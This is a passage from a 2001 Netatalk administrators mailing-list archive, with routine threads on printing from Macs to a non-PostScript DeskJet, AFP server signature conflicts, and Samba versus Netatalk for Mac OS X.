Content-Transfer-Encoding: 7bit
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 5.50.4807.1700
X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4807.1700

Hi,
    I need some help printing from my Mac's to my Linux server. I'm  using
the most recent Netatalk on a Red Hat 7.1 Linux server.  My Mac client are
using Mac OS 8 - 9 sharing files with the Linux Box over TCP/IP.

I want to be able to us my hp deskjet printer connectd to lpt1 with my Macs
but do not know how to do it.  I have looked at the faq's and readme's and
have not found any thing to do with printing to a deskjet, which is a
non-postscript printer.

I have set up my linux machine to share a printer to my windows clients
using samba and it work fine.  Just want to share the printer with the mac's
also.

Thanks,
Christopher


From netatalk.administrators-errors@umich.edu  Mon Sep 10 19:28:20 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from roustabout.mr.itd.umich.edu (roustabout.mr.itd.umich.edu [141.211.125.16])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id TAA05074
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Mon, 10 Sep 2001 19:28:20 -0400 (EDT)
Received: (from daemon@localhost)
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u) with LDAP id TAA17629
	for netatalk-admins@terminator.rsug.itd.umich.edu; Mon, 10 Sep 2001 19:28:19 -0400 (EDT)
Received: (from daemon@localhost)
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id TAA17610
	for netatalk.administrators-members@umich.edu; Mon, 10 Sep 2001 19:28:19 -0400 (EDT)
Received: from users.phg-online.de (users.phg-online.de [195.238.236.6])
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id TAA17552
	for <netatalk-admins@umich.edu>; Mon, 10 Sep 2001 19:28:17 -0400 (EDT)
Received: from [195.30.238.157] (powerbook-tk.kaiser.link-m.de [195.30.238.157])
	by users.phg-online.de (8.9.3/8.9.3) with ESMTP id BAA31861;
	Tue, 11 Sep 2001 01:32:26 +0200
User-Agent: Microsoft-Outlook-Express-Macintosh-Edition/5.02.2106
Date: Tue, 11 Sep 2001 01:32:28 +0200
Subject: Re: problem mounting two servers
From: Thomas Kaiser <Thomas.Kaiser@phg-online.de>
To: charlie wood <charlie@id-inc.com>,
        Netatalk-Admins <netatalk-admins@umich.edu>
Message-ID: <B7C31A2C.10E6A%Thomas.Kaiser@phg-online.de>
In-Reply-To: <B7C28245.4646%charlie@id-inc.com>
Mime-version: 1.0
Content-type: text/plain; charset="US-ASCII"
Content-transfer-encoding: 7bit

am 10.09.2001 23:44 Uhr schrieb charlie wood:

> The issue has nothing to do with afpd, nor the AFP protocol or the manner in
> which AFP resolves its hostid or name

I think, you got me wrong ;-)

I just wanted to make clear, that your problem has nothing do to with atalkd
itself.

I think the problem is the following:

Due to the fact that both of your servers had obviously the same
ServerSignature, your mac's AppleShare clients thought that there was an
connection attempt to an already mounted server (setting up an FPGetSrvrInfo
request to the chosen afp server will result in an identical ServerSignature
--> the AppleShare client 'recognizes' that this server is already mounted
by the mac)

You said before (using 'fuzzy terminology' ;-):

> Apparently, atalkd uses the Unix system's hostid output instead of the real
> IP address (obtainable from the /etc/hosts file) to identify the server.

AFAIK atalkd uses none of them. atalkd publishes the server via nbprgstr
with a defined string (_maybe_ derived from the machine's hostname: "nbprgst
-p 4 `hostname`:Workstation". And afpd will use the string that is supplied
in afpd.conf or with the '-n' switch to publish itself as type "AFPServer"
with nbp.

atalkd != hostid or etc/hosts

> In my particular case, because both hosts were essentially "localhost", with
> the loopback address creating identical hexadecimal "hostnames",

Well, that is the funny thing, I don't understand at all.

I tried 'hostid' on different hosts (even on a redhat box with only one line
in /etc/hosts --> "127.0.0.1    localhost"). I got always a hostid
corresponding to the eth0's ip address, regardless which entries were
present in /etc/hosts.

So I wondered how this ServerSignature is being created -- I don't
understand the sources :(

> atalkd assumed that when I was connected to one server, I was connected to
> both.

IMO this has nothing to do with atalkd at all.

When you choose the second server in the chooser, an afp call will be send
out (maybe over ddp, maybe over tcp -- in the latter case you won't even
need atalkd running). This FPGetSrvrInfo request will then be answered by
the server. If the afp server supports afp 2.2 or never it will supply its
ServerSignature. Now the AppleShare client decides that this server is
already mounted (avoiding the logon dialog). It's the client's choice not
the servers (especially not atalkd's ;-)

Hope this was more precise than my first attempt :-)

Best regards,

Thomas


From netatalk.administrators-errors@umich.edu  Mon Sep 10 19:36:01 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from roustabout.mr.itd.umich.edu (roustabout.mr.itd.umich.edu [141.211.125.16])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id TAA05347
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Mon, 10 Sep 2001 19:36:01 -0400 (EDT)
Received: (from daemon@localhost)
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u) with LDAP id TAA29658
	for netatalk-admins@terminator.rsug.itd.umich.edu; Mon, 10 Sep 2001 19:36:01 -0400 (EDT)
Received: (from daemon@localhost)
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id TAA29642
	for netatalk.administrators-members@umich.edu; Mon, 10 Sep 2001 19:36:00 -0400 (EDT)
Received: from plato.arts.usyd.edu.au (plato.arts.usyd.edu.au [129.78.16.1])
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id TAA29583
	for <netatalk-admins@umich.edu>; Mon, 10 Sep 2001 19:35:59 -0400 (EDT)
Received: from arts.usyd.edu.au (IDENT:matthew@whitestar.arts.usyd.edu.au [129.78.16.20])
	by plato.arts.usyd.edu.au (8.9.3/8.9.3) with ESMTP id JAA02715
	for <netatalk-admins@umich.edu>; Tue, 11 Sep 2001 09:35:57 +1000 (EST)
Sender: matthew@plato.arts.usyd.edu.au
Message-ID: <3B9D4FDC.5BE6E1C9@arts.usyd.edu.au>
Date: Tue, 11 Sep 2001 09:42:20 +1000
From: Matthew Geier <matthew@arts.usyd.edu.au>
Organization: Arts IT Unit, Sydney University
X-Mailer: Mozilla 4.77 [en] (X11; U; Linux 2.4.7-pre6-xfs i686)
X-Accept-Language: en, pdf
MIME-Version: 1.0
To: netatalk-admins@umich.edu
Subject: Re: Thank you.
References: <Pine.LNX.4.21.0109101113300.14338-100000@frank.gwc.org.uk>
Content-Type: multipart/signed; protocol="application/x-pkcs7-signature"; micalg=sha1; boundary="------------msD4C06B2EA6993766F6BD3CF7"

This is a cryptographically signed message in MIME format.

--------------msD4C06B2EA6993766F6BD3CF7
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

Alistair Riddell wrote:
> 
> On Wed, 5 Sep 2001, Ryan McBeth wrote:
> 
> >       IMHO, there *won't* be much use for netatalk after a few
> > years.  Not next year, but probably by 2003.  Yes, some schools will
> > still be running old Macs and they will run Netatalk, heck, some
> > schools are probably still running Apple ][e's.
> 
> What about folks that will want to serve files to Macs (running Mac OS X
> or whatever) from a non-Apple server? I would hope that Netatalk will
> offer a free alternative to MacOS X Server....

 Well if the MacOSX 10.1 SMB client is good enough, use Samba instead.
Samba is highly configurable and fast. Much to the digust of Mac
purists, MacOSX uses file name extensions to associate applications,
Apple citing problems moving mac files around the Internet as the
reason.
 The lack of 'resource fork' support may be a moot point then. OSX
applications are actually a folder full of seperate files containing the
various components, not a 'forked' file. With application bundles really
being folders full of files and data files associated by extension, its
looking like you could live with out resource fork support in the file
system.
(OSX will run on a Unix/BSD UFS file system instead of HFS+, so I guess
thats one reason as well why they when the way they did)


-- 
Matthew Geier			matthew@arts.usyd.edu.au
Arts IT Unit			+61 2 9351 4713
Sydney University
--------------msD4C06B2EA6993766F6BD3CF7
Content-Type: application/x-pkcs7-signature; name="smime.p7s"
Content-Transfer-Encoding: base64
Content-Disposition: attachment; filename="smime.p7s"
Content-Description: S/MIME Cryptographic Signature

MIIH0AYJKoZIhvcNAQcCoIIHwTCCB70CAQExCzAJBgUrDgMCGgUAMAsGCSqGSIb3DQEHAaCC
BbswggKKMIIB86ADAgECAgMFMYswDQYJKoZIhvcNAQECBQAwgZIxCzAJBgNVBAYTAlpBMRUw
EwYDVQQIEwxXZXN0ZXJuIENhcGUxEjAQBgNVBAcTCUNhcGUgVG93bjEPMA0GA1UEChMGVGhh
d3RlMR0wGwYDVQQLExRDZXJ0aWZpY2F0ZSBTZXJ2aWNlczEoMCYGA1UEAxMfUGVyc29uYWwg
RnJlZW1haWwgUlNBIDIwMDAuOC4zMDAeFw0wMTA3MDkxOTEyNThaFw0wMjA3MDkxOTEyNTha
MEoxHzAdBgNVBAMTFlRoYXd0ZSBGcmVlbWFpbCBNZW1iZXIxJzAlBgkqhkiG9w0BCQEWGG1h
dHRoZXdAYXJ0cy51c3lkLmVkdS5hdTCBnzANBgkqhkiG9w0BAQEFAAOBjQAwgYkCgYEA1H+o
MQ4xn5lDS/7p9rYboPW7grw13lXOj7Xisip37QttkX7Ga3ITBXnsAKnuFK3Z7GtILACBXil1
BngLBOd0AlW9zqQBXEOP9aODNJzBsTb3+tOHwQo6shcORKQArKEinG00SuwBdzxALU3KWT6E
yIUSvoz7q0PN4C8qUF3t00sCAwEAAaM1MDMwIwYDVR0RBBwwGoEYbWF0dGhld0BhcnRzLnVz
eWQuZWR1LmF1MAwGA1UdEwEB/wQCMAAwDQYJKoZIhvcNAQECBQADgYEAiJu7SNBXsW7I+ZH9
e2+0M47BmR3DxV31VbW9mKcwuamusWSJJEy5MAKZc8b0snRX/XDkCpM+av3VxDJX8T3rxOE0
siyCC6Tclu6wjwjw0goXK4N6Xhsz+qwIfdoclNZkqK5yInEZtc5ijKr0IPRgch79f35WP82C
SNHVYApmjzgwggMpMIICkqADAgECAgEMMA0GCSqGSIb3DQEBBAUAMIHRMQswCQYDVQQGEwJa
QTEVMBMGA1UECBMMV2VzdGVybiBDYXBlMRIwEAYDVQQHEwlDYXBlIFRvd24xGjAYBgNVBAoT
EVRoYXd0ZSBDb25zdWx0aW5nMSgwJgYDVQQLEx9DZXJ0aWZpY2F0aW9uIFNlcnZpY2VzIERp
dmlzaW9uMSQwIgYDVQQDExtUaGF3dGUgUGVyc29uYWwgRnJlZW1haWwgQ0ExKzApBgkqhkiG
9w0BCQEWHHBlcnNvbmFsLWZyZWVtYWlsQHRoYXd0ZS5jb20wHhcNMDAwODMwMDAwMDAwWhcN
MDIwODI5MjM1OTU5WjCBkjELMAkGA1UEBhMCWkExFTATBgNVBAgTDFdlc3Rlcm4gQ2FwZTES
MBAGA1UEBxMJQ2FwZSBUb3duMQ8wDQYDVQQKEwZUaGF3dGUxHTAbBgNVBAsTFENlcnRpZmlj
YXRlIFNlcnZpY2VzMSgwJgYDVQQDEx9QZXJzb25hbCBGcmVlbWFpbCBSU0EgMjAwMC44LjMw
MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQDeMzKmY8cJJUU+0m54J2eBxdqIGYKXDuNE
KYpjNSptcDz63K737nRvMLwzkH/5NHGgo22Y8cNPomXbDfpL8dbdYaX5hc1VmjUanZJ1qCeu
2HL5ugL217CR3hzpq+AYA6h8Q0JQUYeDPPA5tJtUihOH/7ObnUlmAC0JieyUa+mhaQIDAQAB
o04wTDApBgNVHREEIjAgpB4wHDEaMBgGA1UEAxMRUHJpdmF0ZUxhYmVsMS0yOTcwEgYDVR0T
AQH/BAgwBgEB/wIBADALBgNVHQ8EBAMCAQYwDQYJKoZIhvcNAQEEBQADgYEAcxtvJmWL/xU0
S1liiu1EvknH6A27j7kNaiYqYoQfuIdjdBxtt88aU5FL4c3mONntUPQ6bDSSrOaSnG7BIwHC
CafvS65y3QZn9VBvLli4tgvBUFe17BzX7xe21Yibt6KIGu05Wzl9NPy2lhglTWr0ncXDkS+p
lrgFPFL83eliA0gxggHdMIIB2QIBATCBmjCBkjELMAkGA1UEBhMCWkExFTATBgNVBAgTDFdl
c3Rlcm4gQ2FwZTESMBAGA1UEBxMJQ2FwZSBUb3duMQ8wDQYDVQQKEwZUaGF3dGUxHTAbBgNV
BAsTFENlcnRpZmljYXRlIFNlcnZpY2VzMSgwJgYDVQQDEx9QZXJzb25hbCBGcmVlbWFpbCBS
U0EgMjAwMC44LjMwAgMFMYswCQYFKw4DAhoFAKCBmTAYBgkqhkiG9w0BCQMxCwYJKoZIhvcN
AQcBMBwGCSqGSIb3DQEJBTEPFw0wMTA5MTAyMzQyMjJaMCMGCSqGSIb3DQEJBDEWBBSdhcpO
BfbsuY3d+oOkM2aLVdivFDA6BgkqhkiG9w0BCQ8xLTArMAoGCCqGSIb3DQMHMA4GCCqGSIb3
DQMCAgIAgDANBggqhkiG9w0DAgIBQDANBgkqhkiG9w0BAQEFAASBgB7Qpcaz39RGZCZM9wXe
ljCDqV3vUfGaQ4MgneKpCs1grZQdUO8OHvABJ03rxPyvXjVe2kPN0cw9lROL+kUvKtFZgMDn
6AXHtIMX7xrvoDoS4rkZnV/PP7Z4/R7lUg1lHrX5MguejkaYAQM0GgBdUhtWko18q7AiNX0n
TjdBM5Qe
--------------msD4C06B2EA6993766F6BD3CF7--


From netatalk.administrators-errors@umich.edu  Mon Sep 10 20:19:28 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from roustabout.mr.itd.umich.edu (roustabout.mr.itd.umich.edu [141.211.125.16])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id UAA06638
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Mon, 10 Sep 2001 20:19:28 -0400 (EDT)
Received: (from daemon@localhost)
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u) with LDAP id UAA08984
	for netatalk-admins@terminator.rsug.itd.umich.edu; Mon, 10 Sep 2001 20:19:28 -0400 (EDT)
Received: (from daemon@localhost)
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id UAA08968
	for netatalk.administrators-members@umich.edu; Mon, 10 Sep 2001 20:19:27 -0400 (EDT)
Received: from smtpout.mac.com (smtpout.mac.com [204.179.120.88])
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id UAA08940
	for <netatalk-admins@umich.edu>; Mon, 10 Sep 2001 20:19:26 -0400 (EDT)
Received: by smtpout.mac.com; Mon, 10 Sep 2001 17:18:00 -0700 (PDT)
Received: from asmtp01.mac.com ([10.13.10.65]) by
          smtp-relay02.mac.com (Netscape Messaging Server 4.15 relay02 Jun
          21 2001 23:53:48) with ESMTP id GJH26000.4HO for
          <netatalk-admins@umich.edu>; Mon, 10 Sep 2001 17:18:00 -0700 
Received: from localhost ([62.175.33.66]) by asmtp01.mac.com
          (Netscape Messaging Server 4.15 asmtp01 Jun 21 2001 23:53:48)
          with ESMTP id GJH25Z00.GJT; Mon, 10 Sep 2001 17:17:59 -0700 
Date: Tue, 11 Sep 2001 02:17:54 +0200
Subject: Re: Thank you.
Content-Type: text/plain; charset=US-ASCII; format=flowed
Mime-Version: 1.0 (Apple Message framework v468)
Cc: netatalk-admins@umich.edu
To: Matthew Geier <matthew@arts.usyd.edu.au>
From: Jason Quigley <jasonq@mac.com>
In-Reply-To: <3B9D4FDC.5BE6E1C9@arts.usyd.edu.au>
Message-Id: <71BEB18B-A64A-11D5-9069-000A277D821C@mac.com>
Content-Transfer-Encoding: 7bit
X-Mailer: Apple Mail (2.468)


On Tuesday, September 11, 2001, at 01:42 AM, Matthew Geier wrote:

> Alistair Riddell wrote:
>>
>> What about folks that will want to serve files to Macs (running Mac 
>> OS X
>> or whatever) from a non-Apple server? I would hope that Netatalk will
>> offer a free alternative to MacOS X Server....
>
>  Well if the MacOSX 10.1 SMB client is good enough, use Samba instead.
> Samba is highly configurable and fast. Much to the digust of Mac
> purists, MacOSX uses file name extensions to associate applications,

Which would be fine except that you wouldn't be able to read existing 
Mac archives.  And I certainly know that I and my colleagues rely a lot 
on our archives of photo material, etc.

Also, I find that Netatalk, at least in our environment, is a little 
faster than Samba talking to the windows machines. We can move an ISO 
image in about 75% of the time it takes the Windows machines to do so.

Cheers,
Jason.


From netatalk.administrators-errors@umich.edu  Mon Sep 10 23:51:34 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id XAA14570
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Mon, 10 Sep 2001 23:51:33 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id XAA21907
	for netatalk-admins@terminator.rsug.itd.umich.edu; Mon, 10 Sep 2001 23:51:33 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id XAA21887
	for netatalk.administrators-members@umich.edu; Mon, 10 Sep 2001 23:51:33 -0400 (EDT)
Received: from merlin.ilstu.edu (merlin.ilstu.edu [138.87.4.8])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id XAA21685
	for <netatalk-admins@umich.edu>; Mon, 10 Sep 2001 23:51:28 -0400 (EDT)
Received: from [10.200.8.4] ([10.200.8.4])
	by merlin.ilstu.edu (8.9.3/8.9.3) with ESMTP id WAA22408
	for <netatalk-admins@umich.edu>; Mon, 10 Sep 2001 22:51:29 -0500 (CDT)
User-Agent: Microsoft-Entourage/9.0.2509
Date: Mon, 10 Sep 2001 22:51:28 -0500
Subject: Unsubscribe
From: Timothy E Basham <tebasha@ilstu.edu>
To: <netatalk-admins@umich.edu>
Message-ID: <B7C2F470.358D%tebasha@ilstu.edu>
In-Reply-To: <3B9D4FDC.5BE6E1C9@arts.usyd.edu.au>
Mime-version: 1.0
Content-type: text/plain; charset="US-ASCII"
Content-transfer-encoding: 7bit

Unsubscribe


From netatalk.administrators-errors@umich.edu  Tue Sep 11 03:08:13 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id DAA20318
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Tue, 11 Sep 2001 03:08:12 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id DAA12175
	for netatalk-admins@terminator.rsug.itd.umich.edu; Tue, 11 Sep 2001 03:08:12 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id DAA12153
	for netatalk.administrators-members@umich.edu; Tue, 11 Sep 2001 03:08:12 -0400 (EDT)
Received: from mta03.mail.mel.aone.net.au (mta03.mail.au.uu.net [203.2.192.83])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id DAA12037
	for <netatalk-admins@umich.edu>; Tue, 11 Sep 2001 03:08:09 -0400 (EDT)
Received: from faxserver ([63.34.219.6]) by mta03.mail.mel.aone.net.au
          with ESMTP
          id <20010911070807.OBZP288.mta03.mail.mel.aone.net.au@faxserver>;
          Tue, 11 Sep 2001 17:08:07 +1000
Received: from [192.168.1.3] (helo=[192.168.1.3])
	by faxserver with esmtp (Exim 3.12 #1 (Debian))
	id 15ghWR-0000g7-00; Tue, 11 Sep 2001 16:59:51 +1000
User-Agent: Microsoft-Outlook-Express-Macintosh-Edition/5.02.2022
Date: Tue, 11 Sep 2001 16:59:50 +1000
Subject: Re: printing from Mac to Linux using netatalk
From: Nigel Pegram <editor.ac@churchesofchrist.org.au>
To: Chris <nholland1@qwest.net>, netatalk <netatalk-admins@umich.edu>
Message-ID: <B7C3F386.275A%editor.ac@churchesofchrist.org.au>
In-Reply-To: <001101c13a4e$9b5b5a40$0700000a@chris>
Mime-version: 1.0
Content-type: text/plain; charset="US-ASCII"
Content-transfer-encoding: 7bit

You could set up your DeskJet on the Linux box with something like lprng and
magicfilter so that postscript is translated to a format which the DeskJet
can understand. Then you set up the printer on the Mac as a postscript
printer.

HTH
Nigel.

> From: "Chris" <nholland1@qwest.net>
> Date: Mon, 10 Sep 2001 16:16:22 -0700
> To: <netatalk-admins@umich.edu>
> Subject: printing from Mac to Linux using netatalk
> Resent-From: netatalk-admins@umich.edu
> Resent-Date: Mon, 10 Sep 2001 19:24:26 -0400 (EDT)
> 
> I want to be able to us my hp deskjet printer connectd to lpt1 with my Macs
> but do not know how to do it.  I have looked at the faq's and readme's and
> have not found any thing to do with printing to a deskjet, which is a
> non-postscript printer.


From netatalk.administrators-errors@umich.edu  Tue Sep 11 03:51:10 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from roustabout.mr.itd.umich.edu (roustabout.mr.itd.umich.edu [141.211.125.16])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id DAA21702
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Tue, 11 Sep 2001 03:51:10 -0400 (EDT)
Received: (from daemon@localhost)
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u) with LDAP id DAA07042
	for netatalk-admins@terminator.rsug.itd.umich.edu; Tue, 11 Sep 2001 03:51:10 -0400 (EDT)
Received: (from daemon@localhost)
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id DAA07024
	for netatalk.administrators-members@umich.edu; Tue, 11 Sep 2001 03:51:09 -0400 (EDT)
Received: from knuckles.eggzone.net (APoncelet-101-2-1-9.abo.wanadoo.fr [193.251.42.9])
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id DAA06981
	for <netatalk-admins@umich.edu>; Tue, 11 Sep 2001 03:51:08 -0400 (EDT)
Received: from Sakura (sakura.eggzone.net [192.168.1.3])
	by knuckles.eggzone.net (Postfix) with ESMTP id 09F78480830
	for <netatalk-admins@umich.edu>; Tue, 11 Sep 2001 10:03:11 +0200 (CEST)
Date: Tue, 11 Sep 2001 09:51:07 +0200
Mime-Version: 1.0 (Apple Message framework v466)
Content-Type: text/plain; charset=US-ASCII; format=flowed
Subject: netatalk won't let me upload large files
From: =?ISO-8859-1?Q?S=E9bastien_Sainte-Marie?= <sms@artwebdesignstudio.com>
To: netatalk-admins@umich.edu
Content-Transfer-Encoding: 7bit
Message-Id: <C1F1E976-A689-11D5-99EF-003065C05802@artwebdesignstudio.com>
X-Mailer: Apple Mail (2.466)

hi Thomas. thanks for the reply

 >just out of couriosity, is your server also acting as a firewall or
 >does it employ any kind of IP filtering?

I'm gonna check but I've never touched ip filtering or firewall on this 
box.
by the way my kernel is a litlle older, like 2.2.15

 >I don't believe these messages are related to your upload problems

yes but I don't think it helps the whole thing I tried to fix things 
with the module that was there but apparently not loaded.... (thanks to 
Charlie Wood for this one.)

it doesn't change a thing in the client problems and now *ouch*  >_<  
the atalk daemon send me a beautyful speech:

Starting AppleTalk services: eth0: disabled.atalkd: zero interfaces, 
exiting.
bind: Cannot assign requested address
bind: Cannot assign requested address


 >good luck,
 >-Thomas

thanks

Sebastien


From netatalk.administrators-errors@umich.edu  Tue Sep 11 11:48:48 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id LAA09335
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Tue, 11 Sep 2001 11:48:48 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id LAA10677
	for netatalk-admins@terminator.rsug.itd.umich.edu; Tue, 11 Sep 2001 11:48:48 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id LAA10660
	for netatalk.administrators-members@umich.edu; Tue, 11 Sep 2001 11:48:47 -0400 (EDT)
Received: from jaka.ece.uiuc.edu (jaka.ece.uiuc.edu [128.174.113.136])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id LAA10611
	for <netatalk-admins@umich.edu>; Tue, 11 Sep 2001 11:48:46 -0400 (EDT)
Received: (from stuckey@localhost)
	by jaka.ece.uiuc.edu (8.9.3/8.9.3) id KAA25393;
	Tue, 11 Sep 2001 10:48:47 -0500
Date: Tue, 11 Sep 2001 10:48:47 -0500
From: Tony Stuckey <stuckey@jaka.ece.uiuc.edu>
To: Matthew Geier <matthew@arts.usyd.edu.au>
Cc: netatalk-admins@umich.edu
Subject: Re: Thank you.
Message-ID: <20010911104847.A25135@jaka.ece.uiuc.edu>
References: <Pine.LNX.4.21.0109101113300.14338-100000@frank.gwc.org.uk> <3B9D4FDC.5BE6E1C9@arts.usyd.edu.au>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Mailer: Mutt 1.0pre3i
In-Reply-To: <3B9D4FDC.5BE6E1C9@arts.usyd.edu.au>

On Tue, Sep 11, 2001 at 09:42:20AM +1000, Matthew Geier wrote:
> (OSX will run on a Unix/BSD UFS file system instead of HFS+, so I guess
> thats one reason as well why they when the way they did)

	You misspelled "as well as".  Hope this helps.
-- 
Anthony J. Stuckey                              stuckey@jaka.ece.uiuc.edu
"And they said work hard, and die suddenly, because it's fun."
	-Robyn Hitchcock.

From netatalk.administrators-errors@umich.edu  Wed Sep 12 10:19:43 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id KAA02098
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Wed, 12 Sep 2001 10:19:43 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id KAA16373
	for netatalk-admins@terminator.rsug.itd.umich.edu; Wed, 12 Sep 2001 10:19:43 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id KAA16356
	for netatalk.administrators-members@umich.edu; Wed, 12 Sep 2001 10:19:43 -0400 (EDT)
Received: from pete.uri.edu (PETE.URI.EDU [131.128.1.12])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id KAA16316
	for <netatalk-admins@umich.edu>; Wed, 12 Sep 2001 10:19:41 -0400 (EDT)
Received: from terms.uri.edu (TERMS.URI.EDU [131.128.1.132])
	by pete.uri.edu (8.9.1/8.9.1) with ESMTP id KAA02051
	for <netatalk-admins@umich.edu>; Wed, 12 Sep 2001 10:19:41 -0400 (EDT)
Received: from [131.128.89.102] ([131.128.89.102])
	by terms.uri.edu (8.11.4/8.11.4) with SMTP id f8CEIJQ27632
	for <netatalk-admins@umich.edu>; Wed, 12 Sep 2001 10:18:19 -0400
Message-Id: <v01550103b7c51eb7b11b@[131.128.89.102]>
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Date: Wed, 12 Sep 2001 10:19:32 -0400
To: netatalk-admins@umich.edu
From: cma@uri.edu (Christopher M. Anderson)
Subject: Re: Need help with papd

>am 29.08.2001 15:27 Uhr schrieb Christopher M. Anderson:
>
>> I also have been experiencing this problem with Redhat 7.1, MacOS 9.0.4,
>> and netatalk 1.5pre6.
>
>Looks like you are using LPRng instead of old-style lpr?
>
>If so, take a look at
>
>    <http://www.rodsbooks.com/network/network-netatalk.html>
>
>and report on the list, please.

This modification of papd.conf works for me.  I'm holding in my hand the
first page I've printed directly from my mac since I upgraded!  Now I can
delete my manualspool directory, where I've been saving ps files generated
from the mac onto the netatalk volume to be manually lpr'd.  This has made
my day.  Thanks!

Chris

***************************************************************************
Christopher M. Anderson                                   cma@uri.edu
Assistant Professor of Experimental Economics             O: (401) 874-4587
Environmental and Natural Resource Economics              H: (401) 729-7520
University of Rhode Island                                F: (401) 782-4766
213 Kingston Coastal Institute
1 Greenhouse Road
Kingston, RI   02881
***************************************************************************



From netatalk.administrators-errors@umich.edu  Thu Sep 13 07:58:02 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id HAA21028
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Thu, 13 Sep 2001 07:58:02 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id HAA14916
	for netatalk-admins@terminator.rsug.itd.umich.edu; Thu, 13 Sep 2001 07:58:01 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id HAA14897
	for netatalk.administrators-members@umich.edu; Thu, 13 Sep 2001 07:58:01 -0400 (EDT)
Received: from starkingnet.hu (mail.starkingnet.hu [194.149.23.41])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id HAA14758
	for <netatalk-admins@umich.edu>; Thu, 13 Sep 2001 07:57:57 -0400 (EDT)
Received: from [194.149.23.80] ([194.149.23.80] verified)
  by starkingnet.hu (CommuniGate Pro SMTP 3.3.1)
  with ESMTP id 1093008 for netatalk-admins@umich.edu; Thu, 13 Sep 2001 13:58:30 +0200
From: Palotas Peter <sysman@starkingnet.hu>
To: <netatalk-admins@umich.edu>
Subject: RE: Slowing down while editing document on the client
Date: Thu, 13 Sep 2001 13:58:14 +0200
Message-Id: <20010913115814.2018@mail.starkingnet.hu>
In-Reply-To: <000601c13658$0b2cc570$c8965ecb@faredge.com.au>
References: <000601c13658$0b2cc570$c8965ecb@faredge.com.au>
X-Mailer: CTM PowerMail 3.0.9v2 <http://www.ctmdev.com>
